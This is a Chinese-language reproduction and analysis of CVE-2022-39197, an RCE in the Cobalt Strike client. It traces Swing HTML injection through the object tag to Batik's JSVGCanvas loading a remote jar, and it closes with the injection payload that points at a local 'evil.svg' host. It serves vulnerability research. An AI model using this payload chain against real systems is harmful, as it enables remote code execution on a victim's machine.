CVE-2022-39197 CS RCE复现分析
Cobalt Strike(也称CS)由美国Red Team开发,是一款基于java的内网渗透测试工具,是最早的公共红队指挥和控制框架之一。Cobalt Strike旨在通过模拟几种可能的攻击工具和场景,允许渗透测试人员和网络防御人员检查他们的安全专业的强度。然而,安全测试套件也被黑客(包括勒索软件团伙)广泛使用,以渗透目标网络
该漏洞存在于Cobalt Strike的Beacon软件中,可能允许攻击者通过在Beacon配置中设置假用户名,触发XSS,进而在 CS Server上造成远程代码执行
影响范围:
漏洞原文: https://www.cobaltstrike.com/blog/out-of-band-update-cobalt-strike-4-7-1/
Swing框架
这个漏洞本质上是java自带的GUI组件swing的html注入
从官方给出的文档:
https://docs.oracle.com/javase/tutorial/uiswing/components/html.html
可以知道,Swing本身是支持HTML的标签的,只需要
just put the <html> tag at the beginning of the text, then use any valid HTML in the remainder
写一个demo测试一下
1 |
import javax.swing.*; |
发现成功解析了img标签,但其实这套html的解析引擎是java自己实现的,并不是引了一个第三方引擎
在rt.jar包里面的
javax.swing.text.html.HTML
实例化了一堆Tag对象和Attribute对象
并在
javax.swing.text.html.HTMLDocument
类中将每个之前实例化的Tag都对应指定了一个Action类
javax.swing.text.html.HTMLEditorKit
里的create方法可以看到不同的标签会创建不同的view
我们就可以看到这里script直接返回HiddenTagView了,说明并不支持script标签,也就没办法执行js代码
但这里其实存在一个
object
标签
它反射并实例化一个继承Component的类并且通过param进行参数传递
跟进setParameters方法,可以看到该参数必须是string类型,并且必须是可写方法
总结下来就是:
JSVGCanvas RCE
1 |
org.apache.batik.swing.JSVGCanvas-->setURI |
这个方法的功能是设置SVG图片的地址,远程加载SVG图片
在网上找了一个XXE的漏洞:
Apache Batik XXE—【CVE-2017-5662】
,但是这个漏洞在1.9版本就已经修复了,现在的batik版本已经是1.14
在解析svg时会调用到
org.apache.batik.bridge.BaseScriptingEnvironment
类的loadScripts方法
可以看出通过获取type来走不同的分支流程,默认为
text/ecmascript
,这种方式可以通过javascript库来执行命令,但是由于默认CS的jar包中并没有javascript库,导致这种方式并不能执行利用,但是我们可以走另一个分支流程,是type为
application/java-archive
的情况
这段代码通过var26加载远程的jar包,然后loadClass加载var13对应的类,如果var26可控,那么我们就可以通过这种方式来构造RCE
跟进
XLinkSupport.getXLinkHref
方法
发现是URL地址来自于namespaceURI为
http://www.w3.org/1999/xlink
的href属性
这里有两种方式:
一种是实现EventListenerInitializer类,MANIFEST.MF指定SVG-Handler-Class
一种是实现ScriptHandler类,MANIFEST.MF指定Script-Handler
其实早在2012年就有利用方式了:
https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html
evil.svg:
1 |
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0"> |
然后Swing加载
1 |
<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://127.0.0.1:8000/evil.svg'></object> |